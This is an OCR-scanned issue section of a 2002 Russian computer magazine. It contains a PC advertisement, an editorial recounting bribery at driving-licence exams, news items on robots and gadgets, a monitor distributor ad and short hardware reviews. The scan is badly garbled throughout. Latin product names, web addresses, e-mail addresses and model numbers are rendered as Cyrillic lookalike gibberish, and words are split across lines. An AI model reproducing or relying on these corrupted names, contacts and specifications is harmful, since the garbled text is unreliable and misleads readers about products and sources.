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Компьютеры 



с частотам 




0,02 Гіі 








Это не тактовая частота. 

С такой скоростью 

мы их производим 




Компьютеры йЕРО 

Компьютеры ЭЕРО ® на базе процессора ІпЪеІ ® РепЫит ®4 - 
гарантия Вашей высочайшей конкурентоспособности 



Продукция ИЕРО — это техника на уровне 
западных стандартов, которая поставляется 
по ценам российских производителей. 

ИЕРО производит компьютеры на базе про- 
цессоров ІЫТЕІ_® РЕКІТІІІМ® на заводских 
мощностях компании Оеаііпе, сертифициро- 
ванных по международному стандарту каче- 
ства 150 9001. 

ИЕРО работает по принципу «Віііісі іо Огбег» 
— компьютеры только под заказ. 

Клиент может подобрать оптимальную для 
него конфигурацию ПК из 20 000 вариантов. 

Каждого клиента обслуживает персональный 
менеджер. 

Инсталяция и настройка ПО по принципу 
РПд&ѴѴогк в соот-ветствии со стандартами 
заказчика позволяет существенно сократить 



время на подключение ПК к корпоративной 
сети. 

Наши производственные ресурсы рассчита- 
ны на выпуск до 1000 компьютеров в день, 
что позволяет в короткие сроки выполнить 
самые крупные заказы. Производственная 
линия ЭЕРО обеспечивается самыми совре- 
менными компо-нентами с крупнейшего в 
России склада. 

ПК ОЕРО спроектированны для работы в 
корпоративных сетях и имеют сертификаты 
Місгозоіі на полную совместимость с 
ѴѴіпсІо\ѵз ХР и ѴѴіпбо\Ѵ5 2000. 

Для экономии времени клиента на сайте 
\ѵ\ѵ\ѵ.сІеро.гіі создан конфигуратор, рабо- 
тать с которым удобнее, чем с традиционны- 
ми прайс-листами. 



0,02 Гц = 1 компьютер в минуту 



Клиенты ОЕРО пользуются системой скидок и 
специальными финансовыми условиями при- 
обретения. 

ИЕРО бесплатно доставляет оборудование 
по Москве и ближнему Подмосковью. 

При покупке продукции ОЕРО клиент может 
выбрать один из 7 пакетов гарантийной под- 
держки. 

Гарантийная и сервисная поддержка нашей 
продукции осуществляется в более чем 100 
сервисных центрах по всей стране. 

ИЕРО предоставляет клиентам компьютеры 
для тестирования. 

Технические консультации по компьютерам 
ИЕРО вы можете получить по телефону «го- 
рячей линии» (095) 969-2227. 




Телефон/факс: (095) 969 2111 • Телефон для дилеров: (095) 969 2222 

ІпЪегпеі;: НМр:// шшш.сіеро.ги • Е-таіІ: іггіо@сІеро.ги 

ЕЭЕРСЭ 





Логотип и товарный знак РЕРО зарегистрированы и принадлежат компании ДИЛАЙН. ІпіеІ, ІпіеІ Іпзісіе 1-одо и Репііііт 
являются зарегистрированными товарными знаками ІпіеІ согрогаііоп или ее отделений в США и других странах. 



Товар сертифицирован. 






I Через несколько часов после того как я допишу эти строки, я пой- 
ду сдавать экзамен на права в ГАИ. За последний месяц я испытал 
на собственном опыте, как работает наша доблестная автоинспек- 
ция. Не на дороге, нет - это мне только предстоит испытать. В тихих ка- 
бинетах и на экзаменационных площадках. Система такая: в процессе 
обучения вождению тебе ненавязчиво так намекают, что без денег экза- 
мен в ГАИ сдать невозможно, любые попытки будут пустой тратой вре- 
мени. Выход? Дополнительные занятия с инструктором ($100 за 1 0 уро- 
ков, при этом гарантии успешной сдачи все равно не будет) или... $300, 
и права тебе принесут на тарелочке с голубой каемочкой. Даже если ты 
никогда за руль не садился. Тарифы здесь на любой достаток - за сот- 
ку баксов тебе «зачтут» любой элемент экзамена: теорию, упражнения 
на площадке или выезд в город. Участвовать в сдаче, конечно, придет- 
ся, но даже если ты перепугаешь газ с тормозом и собьешь первую же 
фишку - на следующий день тебе все равно торжественно вручат права. 
Берешь весь экзамен целиком - у тебя бонус: можно никуда не ходить, 
не позориться, только выбери время, чтобы за правами заехать. Из 
той группы, в которой я занимался, вождение в автошколе (предва- 
рительный экзамен перед ГАИ) не сдал никто, кроме, разумеется, 
«платников» - они на него вообще не приезжали. Хотя нет, один 
сдал: для отчетности, ведь в ГАИ не может быть 100% сдачи, ко- 
го-то и отсеять нужно... 

Если ты думаешь, что так обстоят дела только с получением 
прав, ты ошибаешься. С этого номера у нас возрождается 
рубрика Х-Стиль, и первая статья расскажет тебе все о 
ценах на... свободу. Да, именно так: ты узнаешь, сколь- 
ко стоит отмазка по самым распространенным стать- 
ям, на которые можно запросто попасть, даже и не 
будучи уголовником. К тому же ты прочтешь, 
сколько приходится отстегивать за «хакерские» 
попадоеы. Это не материал по собственному 
опыту, а статья от одного человека, который 
работает в милиции и с тарифами знаком не 
понаслышке :). Просто имей в виду, что 
люди в форме, которые час назад били 
тебя по почкам за косячок в кармане, 
сейчас, скорее всего, им же и раску- 
риваются. 

Береги себя и не попадай в ситуа- 
ции, когда тебе придется поку- 
пать то, что только недавно бы- 
ло бесплатным - свободу. 

2роІ80п5, 
зам. главредаХ 
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Мнение редакции 
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Иван Скляров (5кІуагоѵ@геаІ.хакер.ги) 
Присылай мне свои трюки и советы и, 
возможно, ты увидишь их на страницах ][. 
В конце года самый активный участник 
получит 100$. 

Редакция журнала и ведущий рубрики не 
несут ответственности за советы, которые 
читатели дают друг другу ;). 
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ЧРЕЗВЫЧАЙНЫЕ РОБОТЫ 



ЕСТЬ КОНТАКТ! 



• Японская компания N17 йосото анонсировала 
революционную технологию обмена данными между 
"наладонниками" посредством простого рукопожа- 
тия хозяев. В момент физического контакта на кожу 
человека подается неопасное напряжение. Слабые 
электрические разряды со скоростью до 1 0 Мбит/с 
несут данные от компьютера к компьютеру. При 
этом машинки могут лежать где угодно. Главное, 
чтобы карман или сумка также обладали электро- 
проводимостью. Первое применение, которое при- 
ходит на ум, - обмен электронными визитками: ад- 
ресами, телефонами и другими контактами. Днем 
жмешь руки случайным прохожим - вечером прове- 
ряешь, не заимел ли представительных друзей. 




+ Команда роботов-спасателей официально включена в реестр 
американского чрезвычайного ведомства. Разработка роботов ве- 
лась последние несколько лет, однако испытания начались только 
с прошлогодней трагедией. Механизмы на гусеницах оснащены 
прожекторами и телекамерами. Свободно ориентируясь в разва- 
линах зданий, они имеют возможность протиснуться сквозь толщу 
смердящего хлама и работают в условиях нечеловеческих темпе- 
ратур. Добравшись до тела, роботы при помощи специальных сен- 
соров регистрируют малейшие признаки жизни и цепляют на кожу 
человека детектор пульса. Первая команда из 7 роботов приступи- 
ла к выполнению своей прямой миссии сразу после 1 1 сентября и 
на деле помогла обнаружить останки десяти жертв трагедии. 



РОБОТ-ИНКАССАТОР 



\ 



• Японская компания Зесот представила робота- инкассатора. Громадный сейф га- 
баритами 140x120x90 см и весом 380 кг выполнен из пуленепробиваемой стали. В 
"желудке" у робота оборудована емкость для ценностей. По периметру навешаны сен- 
соры и телекамеры. На своих мощных гусеницах инкассатор свободно передвигается 
в пространстве и даже преодолевает лестничные пролеты, умудряясь не отставать от 
проводника-человека. В случае нападения он выставляет плотную дымовую завесу, 
набрасывает на злоумышленников сеть и оглушает мощным электрическим разрядом. 
Планируется уже в следующем году отправить машину в серийное производство. 



УПАА. ОТЖАЛСЯ 



\ 



• Ученые японского института передовой промышленности впервые в истории обучили 
робота самостоятельно вставать с пола. Эта несложная, на первый взгляд, задача доселе 
была не под силу механическим существам. Уникальную разработку от собратьев 
отличают подвижные спинные узлы, которые позволяют ей свободно изгибаться. 
Демонстрируя свои умения, робот переворачивается на спину и затем встает на ко- 
лени, упираясь руками в пол. Из положения "упор сидя" он делает еще одно послед- 
нее усилие и уже вытягивается в полный рост. На все про все уходит около 15 секунд. 



РУЧНОЙ НОУТБУК 



\ 



• В Японии сконструирован уникальный робот с молниеносной реакци- 
ей. Двумя цепкими алюминиевыми "пальцами" он умеет ловить падаю- 
щий с большой высоты мяч. Непрерывные замеры расстояния до объ- 
екта осуществляются при помощи телекамеры, которая ведет съемку с 
частотой до 1000 кадров в секунду, а также вычислительного блока, 
функционирующего в реальном времени. Надо думать, полевые испыта- 
ния робота пройдут у стен Пизанской башни. 



БУДИЛЬНИК СЕБЕ НА УМЕ 



# Британский изобретатель Дэвид Хант сконструи- 
ровал будильник, который начинает трезвонить по 
своему собственному усмотрению. Пользователю 
требуется только ввести время начала деловой 
встречи. Будильник загрузит из Интернета послед- 
ние сведения о пробках на дорогах, расписание 
движения автобусов и пригородных поездов. Затем 
проанализирует все альтернативные маршруты и 
сделает поправку на законное желание хозяина по- 
нежиться в постели. После необходимых расчетов 
устройство решит, поднимать спящего ни свет ни 
заря или дозволить ему лишнюю минутку поспать. 



• Компания Еѵоіиііоп ВоЬоІз объявила о начале продаж набора 
"сделай сам" для "приручения" ноутбуков. В набор ЕРМ входит 
алюминиевый каркас на колесах с креплением для ноутбука, веб- 
камера, блок управления, а также программное обеспечение. В 
настоящее время проходит последние испытания рука-манипуля- 
тор, которая позволит крепче захватывать предметы и даже "жон- 
глировать" ими. Главным своим достижением команда разработ- 
чиков называет визуальные и мыслительные способности робота. 
Компьютерный мозг "переваривает" команды хозяина, и уже че- 
рез мгновение тарантайка тащит из холодильника пиво. Или стоит 
показать роботу коробку из-под компакта, чтобы он аккуратно из- 
влек диск из проигрывателя и 
протянул его хозяину. В числе 
других поручений может быть 
просьба перевоплотиться в до- 
ставщика пиццы или досмотреть 
томящуюся в духовке утку "по- 
пекински". На сайте Еѵоіиііоп 
(ѵѵѵѵѵѵ.еѵоіиііоп.сот) владельцев 
ЕРМ приглашают обменяться ин- 
дивидуальными программами 
для своих роботов. Цена набора 
в Интернете - 599 долларов. 

Еще 199 зеленых нужно выло- 
жить за руку- манипулятор. 




Ньюсы ЩТеррум Ц|РС_2опе МВзлом НЮниксоид 












• НіІасМ представила новые рабочие станции Ргіиз йеск со встроенным ионизатором 
воздуха. Это устройство - главная и единственная особенность компьютеров, которые по- 
ставляются в достаточно стандартных конфигурациях. Дополнительный блок, размещае- 
мый в задней панели, поглощает положительно заряженные ионы - верный показатель за- 
грязненности воздуха и нездорового электромагнитного излучения. Доминирование отри- 
цательных ионов в воздухе, напротив, помогает снять стресс, улучшить самочувствие и 
повысить иммунитет. Габариты системного блока - 105x339x367 мм, вес - около 9 кг. 



АВТО ДЖЕЙМСА БОНДА 



• В национальном автомобильном центре армии США завершена 
работа над бронированным автомобилем Джеймса Бонда. Десятый 
раз пересмотрев фильмы об Агенте 007, военные инженеры сконст- 
руировали неприступную крепость на колесах. Система защиты пе- 
реоборудованного пикапа РогсІ-350 не ограничивается пуленепроби- 
ваемыми корпусом и стеклом, миноискателями, приборами глобаль- 
ной навигации и ночного видения. В крыше автомобиля размещает- 
ся люк с выдвижными бойницами для гранатомета и пушки с лазер- 
ным прицелом. Над дверцами - рассеиватели слезоточивого газа вы- 
сокой концентрации. Дотянувшихся до самых ручек ждет незабывае- 
мый электрошок в 1 10 вольт. И даже чудом втиснувшийся за руль 
останется не у дел - машина сверяет отпечатки пальцев. Затейливо 
выглядит система избавления от погони: стелется дымовая завеса, 
из выхлопной трубы льется на асфальт машинное масло, летят 
стальные шипы. Стоимость авто - 1 ,09 миллиона долларов. 



ЦИТРА ИДЕТ В МАССЫ 



• Всенародная охота до халявы плюс современные 
цифровые технологии способны творить чудеса. Ес- 
ли в начале октября ты заглядывал в Кофетун, что на 
Пушкинской в Москве, ты мог не просто душевно по- 
сидеть в модном столичном заведении, но и сфот- 
каться на цифровую камеру, получить журнал Хакер 
и диск салона цифровой фотографии «Компьютер 
ДЛЯ любителей ФОТО», который и замутил все это 
безобразие. И все это «безвозмездно, то есть да- 
ром» (с). Кроме Кофетуна, акция проводилась в хо- 
рошо известном тебе интернет-кафе МеІІапсІ, в про- 
двинутом клубе Культ и еще во многих стильных хай- 
тек точках - центральных кинотеатрах, интернет-ка- 
фе, клубах. Но самое главное, 
твою довольную оцифрованную 
физиономию можно было полу- 
чить в распечатанном виде, 
причем опять же бесплатно. Для 
этого надо было приехать в са- 
лон «Компьютер ДЛЯ любителей 
ФОТО» и предъявить получен- 
ный СЭ, а потом отыскать свою 
фотку и вешать под стекло на 
стенку над кроватью :). 

Подробней об акции ты можешь 
прочитать на ѵѵѵшіоіоізіапсі.ги 



СОЛНЕЧНЫЕ ЧАСЫ 



• Компания Рідііаі ЗипбіаІ представила цифровые солнеч- 
ные часы. В оригинальной конструкции отсутствует какой- 
либо подвижный механизм. Лучи солнца проникают через 
крышку и, как результат игры теней, особым образом про- 
ецируются на табло циферблата в виде привычных цифр. 
Новинка показывает время с точностью до 10 минут. Непо- 
средственно перед эксплуатацией часов необходимо наст- 
роить их на географическую широту местности. Часы про- 
даются в Интернете по цене 89 долларов. 



КУБИК-РУБИК ИЗ І_ЕСО 



• Перец из Чикаго, известный в определенных кругах как ЭРВгоѵѵп ; 
используя детали конструктора І_ЕСО, построил робота, собираю- 
щего кубик-рубик. Механизм фиксирует текущее состояние голово- 
ломки - расклад цветов - при помощи цифровой камеры. После 
этого осуществляется поворот части кубика на необходимый угол. 
На каждую манипуляцию робот затрачивает пол ми нуты. В среднем 
к решению удается прийти через 40 ходов. Таким образом, робот 
полностью расправляется с кубиком -руби ком за какие-то 20 минут. 



ЧИСТО КОМПЬЮТЕРНЫЙ ВОЗДУХ 



Х-Стиль ЫКодинг 
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Юниты 
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СИДЕЛКА ДЛЯ КОШЕК 




• Веетсо представила механическую сиделку для 
кошек. Пока хозяин отдыхает после тяжелого рабо- 
чего дня, тощий штатив на колесах занимает все 
внимание мурки. Он ловко шурует лапами-гребня- 
ми, не позволяя ей скучать. Понадобится - оттянет 
кису от облюбованного кактуса и зачешет до потери 
пульса. Кроме того, с беспроводного пульта можно 
взять управление на себя и на расстоянии тешить 
любимицу. Поговаривают, нежность и уважение к 
механической сиделке питают как котята, так и 
взрослые кошки. 



РУМБА НА ПАЛАСЕ 



• Американская компания іВоЬоІ по бросовой 
цене начала продажи робота-пылесоса, ориен- 
тированного на массовый рынок. Основное 
предназначение ВоотЬа - наводить лоск в квар- 
тире, пока хозяин занят другими важными дела- 
ми. Параллельно с уборкой пылесос развлекает 
детишек и гоняет домашних животных. ВоотЬа 
- это детище 1 2 лет работы и наследник 30 бо- 
лее ранних прототипов. Команда разработчиков 
в буквальном смысле ползала на коленках, что- 
бы в деталях изучить физику сбора пыли. Луч- 
шим образом для этой задачи подошла крабо- 
видная форма Сй-плеера. Зрительные возмож- 
ности ВоотЬа ограничены, поэтому маршрут он 
прокладывает отчасти случайным образом. 
Мощными спиралеобразными движениями ро- 
бот отвоевывает у пыли все новые и новые 
плацдармы, аккуратно огибая ножки гостиного 
гарнитура. Заряда аккумулятора хватает на 90 
минут непрерывного труда. Пройдя комнату 
ровно один раз, ВоотЬа возвращается на свою 
исходную позицию, открепляет контейнер с му- 
сором, радостно сигналит и "засыпает" до сле- 
дующей уборки. Хотя робот в силу своей формы 
оставляет пыль в углах и даже по недосмотру 
застревает между полом и диваном, он несо- 
мненно отрабатывает выложенные за него $199. 




• Английские ученые представили прототип батарейки, ра- 
ботающей на пищевых отбросах. Емкость размером с брит- 
ву заселена специальными бактериями. Изголодавшаяся ко- 
лония жадно пожирает органические вещества, вырабатывая 
при этом особые ферменты. Вследствие разложения углево- 
дородов высвобождаются атомы водорода, которые достав- 
ляются прямо к аноду. Первая модель устройства работает 
на сахаре. Пяти кубиков ра- 
финада хватает на питание 
40- ваттной лампочки на 
протяжении полной рабо- 
чей смены. Следующая на 
очереди в сырье - морковь, 
а за ней - более мерзкие 
пищевые отходы. Стои- 
мость одной батарейки не 
превысит 15 долларов. 




ЗА ПИРАТОВ ВЗЯЛИСЬ НЕ ПО-ДЕТСКИ 



• «Ассоциация по борьбе с компьютерным пиратством» (АБКП) объединяет силы с 
Главным Правовым Управлением МВД России. Что это значит? Впервые за всю исто- 
рию борьбы (если ее так можно назвать) с нехорошими дядьками пиратами офици- 
альная правоохранительная структура подписала протокол с некоммерческой анти- 
пиратской организацией. По этому протоколу предусматриваются совместные согла- 
сованные действия доблестных органов с теми, кому пиратство просто-таки мешает в 
бизнесе. Так что же это все-таки означает на деле? Поживем -увидим. Может быть, 
действительно наступят времена, когда пиратство станет неприбыльным бизнесом? 



ГОРЯЧАЯ СОБАКА 



к 




• НаттасЬег ЗсЫеттег представила тостер 
для хотдогов. Устройство предназначено для од- 
новременного приготовления двух "горячих со- 
бак". В центре расположены прорези для соси- 
сок, а по краям компактно размещаются булочки 
для подогрева. На каждый компонент хотдога 
предусмотрена отдельная ручка, таким образом 
можно контролировать степень зажаренности 
обеих сосисок и тостов. Точно по расписанию 
комплектующие выпрыгивают из устройства и 
скромно дожидаются своей печальной участи. 







ЗАЧЕМ ПЛАЧЕШЬ? 


т 



ПСИХБОЛЬНИЦА НА ДОМУ 



• Странный американец Пол Мэтис переоборудовал свое жилище в интеллекту- 
альный сумасшедший дом. Первые сдвиги в этом направлении пришлись на ко- 
нец 90-х, когда Пол сделал достоянием Интернета протоколы звонков в свою 
входную дверь. Все это время медленно, но верно он расширял список бытовых 
приборов, выключатель которых вынесен на домашнюю страницу Огіѵе Ме Іпзапе 
(ѵѵѵш.Ьгіѵетеіпзапе.сот). Посредством веб-камеры и микрофона все желающие 
могут сутки напролет вести наблюдение и вмешиваться в жизнь странного дома. 
Лампы дневного света в рабочем кабинете и в спальной комнате Пола загорают- 
ся и тухнут сами по себе. Неожиданно может заработать поливалка газона. Из 
комнаты в комнату переметнется машинка на радиоуправлении. Владельца дома 
это круглосуточное сумасшествие ни капли не смущает. 



\ 



• Испанец Педро Монагас сконструировал детектор детского плача. На изобретательский труд молодого папашу сподвигли вопли родно- 
го дитяти. А свои последние испытания устройство ѴѴГіу Сгу с успехом держало в палате одного из роддомов с сотней плачущих младен- 
цев. Из леденящего кровь воя Монагас сумел выделить пять различных видов плача. Устройству размером с калькулятор требуется 20 се- 
кунд, чтобы определить, голоден ребенок, скучает он, устал, напуган или чувствует иной дискомфорт. О доподлинных симптомах беспо- 
койства просигнализирует рожица на экране. Устройство поступило в испанские аптеки по цене 93 доллара. 
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НА ПИКЕ ВЫСОКИХ 

ТЕХНОЛОГИЙ 




1 




ГІ 577Ш 

15" ЖК-монитор - 
совершенный дизайн воплощение 
передовых технологий 




ГІ 775РТ 

абсолютно плоский 17" экран, 
идеальное соотношение 
цена/ качество 



ТЕХНОТРЕЙД 

МОНИТОРЫ ИЗ ПЕРВЫХ РУК 



Дистрибуторская компания 

Тел.: 291-2686, 291-5769, 291-5870; Факс: 291-5794 
Е-таіІ: іесНпо1гас1е@іесНпоІгас1е.ги 



МАГАЗИНЫ РОЗНИЧНОЙ ТОРГОВЛИ: ОПТОВЫЕ ПРОДАЖИ: 



М.видео: 777-777-5 

пр. Мира, д.91, к.1 
Измайловский вал ул., д. 3 
Пятницкая ул., д. 3 
Маросейка ул., д. 6/8, стр.1 
Большая Черкизовская ул., д. 1 



Автозаводская ул., д. 1 1 
Ленинградское ш., д. 1 6, стр. 1 -2 
ул. Люблинская, д. 1 69 
Чонгарский бул., д. 3, к. 2 
Никольская ул., д. 8/1 
Столешников пер., д. 13/15 



І5М: 785-570 1 , 787-778 1 , 280-5 1 44, 2 1 0-8340 

Нахимовский пр-т, д. 24 Протопоповский пер., д. 6 

Университетский пр-т, д. 6 корп. 3 Яблочкова ул., д. 1 2 

Ф Центр: 472-6401, 205-3666, 785-1785 

Сухонская ул., д. 7а Выставочно-деловой центр на «ВВЦ», 
пав. 71,1 этаж. Мантулинская ул., д. 2 

Сеть компьютерных центров Р<НАІІІ5 

Единая справочная служба: 7555557 

Радиокомплект-компьютер: 953-8 1 78, 424-7 1 57 

Ул. Бахрушина д. 1 7, стр. 2 

Старт-Мастер: 935-3852, 784-6383, 231-491 1 

м-н. Электроника Ленинский пр-т. д. 99, 



Е15ІЕ - Варшавское ш., д. 1 25, тел. 777-9779 

Е15Т - Рязанский пр-т., д. 59, тел. 728-4060 

СІТІЫНК - Народного ополчения ул., д. 34, тел. 745-2999 

І5М - Нахимовский пр-т, д. 24, тел. 785-5701 

ДЕНИКИН - Огородный пр., д.8, тел. 787-4999 

ИНЛАИН - г. Долгопрудный Московской области, 

Первомайская ул., д. 3/Ц, тел. 941 -61 61 
ИНТАНТ - г. Томск, тел. (3822) 420-224, (3822) 420-234 
Никс - Звездный бульвар, д. 19, тел. 216-7001 
ИТ Сотріііег - Волоколамское ш., д. 2, тел. 755-5824 
Олди - Трифоновская ул., д. 45 тел. 284-0238 
Сетевая лаборатория - ул. Тимирязевская д.1/4 тел. 784-6490 

рьлтпоіч і ! 

{геесіот тіпсі 



ТЕХНОТРЕЙД приглашает к сотрудничеству региональных дилеров и магазины розничной торговли. 
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Н-эггіІЧеѵг 



!М рОгои (рОгОМ@геаІ. хакер, ш) 



В номере: 

Малыш от ІРіѵег 
Принтер для болванок 
Отекании все! 

Бродяга с принтером 



НОЯБРЬ 

2002 



№47 




Футуристи- 
ческая Клава 

Первое, что приходит на ум, когда 
смотришь на новый девайс ЕІишіпХ, 
изготовленный компанией Аигаѵізіоп, 
это чернобыльское происхождение 
этой клавиатуры. Однако все гораздо 
проще: никакой радиации, только 
полная внутренняя люминесцентная 
подсветка клавиш. Подсветок два ви- 




да: «голубой сапфир» и «аквамарин» 
(позже ожидаются и другие цвета). 
Кнопарей, как и полагается, 104 шту- 
ки + 1 2 функциональных. Подключе- 
ние к компу тоже вполне традицион- 
но - старичок Р32 все еще жив ;]. 
Просят же за светящуюся подружку 
всего 1 00 уев. 



Малыш от ІРіѵег 

В семействе плейеров-малышей при- 
бавление. Счастливый родитель - 
компания ІРіѵег. Размеры ее новорож- 
денного весьма скромные 
31x28,5x82 мм, да и имя ІРР-180Т во- 
все не вызывающее. А вот нравом и 
возможностями малышка обладает 




вовсе не детскими. Суди сам: объем 
встроенной памяти - 128 МБ, моно- 
хромный информационный ЖК-дис- 
плей способен отображать ЮЗ-тэги 
до версии 4.0, а список поддерживае- 
мых аудиоформатов довольно обши- 
рен: ѴѴАѴ, МРЗ и АЗР. Питается плей- 
ер всего от одной АА-батарейки, при- 
чем хватает «еды» почти на весь день 
(около 20 часов). 



Винчестеры наружу! 

Компания Махіог представила новое 
семейство внешних винчестеров 
РегзопаІ Зіогаде 5000: 5000ХТ, 
5000БѴ и 5000БЕ. Отличительной осо- 
бенностью новых винтов является 
функция Махіог ОпеТоисП, позволяю- 
щая копировать файлы с внешнего 
винчестера на внутренний другого ПК 
или ноутбука всего лишь нажатием 
одной кнопки на корпусе РегзопаІ 
Зіогаде 5000. Модель РегзопаІ 
Зіогаде 5000ХТ самая емкая - на ее 
борту может уместиться 250 ГБ ин- 
фы. Передача же данных может про- 
исходить по интерфейсам РігеѴѴіге 
(ІЕЕЕ 1394) или ИЗВ 2.0. Скорость 
вращения шпинделя винчестера - 
5400 об/мин, что вполне приемлемо 
для внешнего винчестера. Просят же 
за РегзопаІ Зіогаде 5000ХГ около 400 



вечнозеленых. Другая модель - 
РегзопаІ Зіогаде 5000БѴ имеет ем- 
кость поменьше, 120 ГБ. Интерфейсы 
те же - РігеѴѴіге (ІЕЕЕ 1394) и БЗВ 2.0, 
а вот скорость выше - 7200 об/мин. 
Цена - 300$. Ну и последний винчес- 
тер - РегзопаІ Зіогаде 5000БЕ, самый 
младший в линейке, принимает инфу 
объемом до 80 ГБ, общается по сред- 
ствам интерфейса ІІЗВ 2.0, а шпин- 
дель крутит на 5400 об/мин. Стоит 
около 200$. Тем же, кто еще не успел 
обзавестись портами ІЕЕЕ 1394, ком- 
пания Махіог может предложить 1 394 
РСІ Абаріег СагсІ (50$), СагсІВиз адап- 
тер 1394 СагсІВиз (100$) или ком- 
плект для создания и редактирования 
цифрового видео - Махіог ОУ 
Ргобисег за 50, 100 (80$). 



Два в одной 

Нет - это не название порнотриллера 
:]. Просто в одной камере ОиіскСат 
СогсІІезз приютились сразу два девай- 
са: веб-камера и цифровой фотоаппа- 
рат. На свет ее выпускает компания 
І_одіІесІі. Новинка имеет стильный и 
необычный дизайн, а общение с ПК 
происходит через второй модуль ка- 
меры - «базы», соединяющейся с ком- 
пом по ІІЗВ-интерфейсу. ОиіскСат 
СогсІІезз оснащена СМОЗ-сенсором, 
поддерживающим разрешение до 
510x492. Другой отличительной осо- 




бенностью этой модели является под- 
держка интерфейса передачи данных 
ВІиеІооІН. Стоит же вся эта красота 
около 260 зеленых купюр. 



Отсканим все! 

Компания НеѵѵІей-РаскагсІ в очеред- 
ной раз порадовала поклонников сво- 
ей продукции, выпустив обновленную 
периферийную линейку. Особенно 
ярко в ней выделяется сканер НР 
Зсапіеі 5500с с автоматическим лот- 
ком подачи для фотографий, позволя- 
ющий быстро и качественно оцифро- 
вывать обычные снимки. В лотке уме- 
щается до 24 фотографий, так что 
можно сразу отсканить все памятные 
снимки. Причем, процесс этот будет 
весьма быстрым, ведь теперь больше 
не придется ждать, когда прогреется 
сканер. НР Зсаще! 5500с имеет семь 
кнопок для быстрого доступа к основ- 
ным функциям (копированию, отправ- 




ке снимков по электронной почте и 
т.д.). А достичь профессионального 
изображения помогает высокое раз- 
решение (до 2400 брі) и 48-битная 
цветовая палитра. Также к сканеру 
прилагается световой адаптер, позво- 
ляющий юзеру сканировать 35-мм не- 
гативы и слайды. А стоит все это хо- 
зяйство всего 300 буказоидов. 



Принтер для болванок 

Юзер, купивший пишущий СО-В/ВѴѴ 
привод, рано или поздно сталкивает- 
ся с проблемой, когда необходимо 
как-то помечать свои болванки. Иначе 
можно запутаться или попросту за- 
быть, что же такое записано на ком- 
пактах, особенно когда их количество 
неуклонно растет. Тут обычно прихо- 
дит на помощь обычный маркер, но 
пользоваться им как-то не эстетично, 
поэтому компания Сазіо предлагает 
другое практичное и эстетичное ре- 
шение - принтер для печати на дис- 
ках. Теперь записанные болванки (и 
болваны :)) будут иметь вполне «пере- 
вариваемый» вид. Принтер имеет 
весьма компактные размеры и вес - 
всего 70x195x185.5 мм при 900 г. На- 
звание модели - СѴѴ-100. Общается с 
ПК он по ІІЗВ-интерфейсу, а печатать 
умеет с разрешением 300 точек на 
дюйм. Область печати составляет 
площадь около 74 на 16 мм. Если же 




необходимо напечатать инфу как вни- 
зу, так и вверху диска, то принтер мо- 
жет сам поворачивать диск на угол в 
180 градусов (за отдельную плату 
можно докупить и присадку для печа- 
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ти на боковых стенках слим-коробки). 
Скорость монохромной печати - 6,3 
мм в секунду, цветной - 4,8 мм/сек. 
Желающим приобрести новинку при- 
дется выложить за нее около 1 20 аме- 
риканских рублей. 



Второе пришествие 2ІѴ 

Накопители 2ІѴ получили весьма 
большую популярность в России бла- 
годаря небольшим габаритам, высо- 
кому объему, удобству подключения 
и при этом весьма демократичной 
цене. И вот теперь на смену ему спе- 
шит обновленный вариант - 1\М2 с 
интерфейсом 115В 2.0 от компании 
ІпРгісе. Пропускная способность зна- 
чительно увеличилась и составляет 
целых 480 МЬй/с. Другие достоинст- 
ва накопителя тоже впечатляют: сов- 
местимость с основными операцион- 
ными системами, легкость, компакт- 
ность, высокая вибро- и ударопроч- 
ность и возможность подключения 
сразу нескольких Ш2 к системе. 
Внутри новенького 2ІѴ’а будут уста- 
навливаться мобильные винчестеры 
ТозЫЬа и Рщйзи со скромным энерго- 




потреблением. А со временем 1\М2 
собирается обзавестись сервисным 
ПО для резервации и криптографиче- 
ской защиты данных. 



Новый Карлсон 

Компания ТбегтаКаке, отлично заре- 
комендовавшая себя у оверклокеров, 
выпустила свой новый кулер для 
Репііит 4 - Зрагк 7 А1545. Радиатор 
выполнен из меди, что гарантирует 
хорошую теплопроводность. Сам же 
кулер может работать в трех режи- 
мах: в первом он автоматически ме- 




/ 



няет скорость вращения лопастей 
вентилятора от 1300 об./мин. до 
6000 об./мин, во втором скорость 
вращения регулируется вручную в 
этом же диапазоне, ну а в последним 
он вращается на полную мощность - 
6000 об./мин. Подобная гибкость 
придется по вкусу многим любите- 
лям поработать в тишине (уровень 
шума от Зрагк 7 А1 545 регулируется 
от 17дБ до 43дБ), так что новенький 
Карлсон будет желанным гостем у 
многих юзверей ;]. 



пРогсе2 от АВІТ 

Компания ІЧѴЮІА не так давно решила 
попробовать себя и на рынке материн- 
ских плат, выпустив свой во многом ре- 
волюционный чипсет пРогсе. И вот на 
подходе уже его новая версия - пРогсе2, 
что сразу вызвало желание производи- 
телей материнских плат выпустить свои 
решения на нем. Например, таких изве- 
стных и почитаемых, как АВІТ. Вот харак- 
теристики ее продвинутой материнки: 
Чипсет пѴісІіа пРогсе2. 

Поддержка Зоскеі А АШІоп 
ХР/АІЫоп/Оигоп. 

Поддержка РЗВ на 200, 266 
или 333 МГц. 

ЗйІММ слота на 3Гб РС2100 
(ООВ266) и РС2700 (ООВЗЗЗ). 
Поддержка двухканальной памяти 
ООВ400. 

5 РСІ и 1 АСР Рго 8х слот. 
2-канальный интегрированный АТА- 
33/66/100/133 контроллер. 
Встроенный 2-канальный ЗегіаІ АТА- 
150 РСІ контроллер от Зііісоп Ітаде 
10/1 00/М Ьіі/з ЕШегпеІ адаптер. 

6 115В 2.0 портов. 

2 РігеѴѴіге (ІЕЕЕ1394а) порта. 

Кодек АС'97 с 24-Ыі ЗДЮІР выходом. 

Ну и, конечно, АВІТ не забыла всех лю- 
бителей оверклокинга, позволяя менять 
многочисленные настройки через зна- 
менитое ЗоШепи, а также следить за 
напряжением, скоростью вентиляторов 
и температурой. Да, с такими характе- 
ристиками и возможностями подобные 
девайсы, несомненно, ждет успех. 



Ні-Сгасіе в России 

На отечественном рынке ноутбуков 
пополнение: британская компания 
Ні-Сгасіе. Кстати, это не какой-то 
раскручивающийся новичок - в 
2000 году Ні-Сгасіе получила больше 
наград, чем все остальные компью- 
терные брэнды. Что ты можешь 
ожидать от такой именитой компа- 
нии? Целую линейку ноутбуков, в 




число которых входят машинки на 
любой вкус. Ты можешь выбрать 
легкую портативную модель ІЧоІіпо 
2200 (кстати, по очень привлека- 
тельной цене), неубиваемый ударо- 
пыле- и влагозащищенный ІЧоІіпо 
В5400 или сверхмощный Шіпоіе М 
6500. Убедиться в справедливости 
слогана компании - «Мастер высо- 
ких технологий» лучше всего, как 
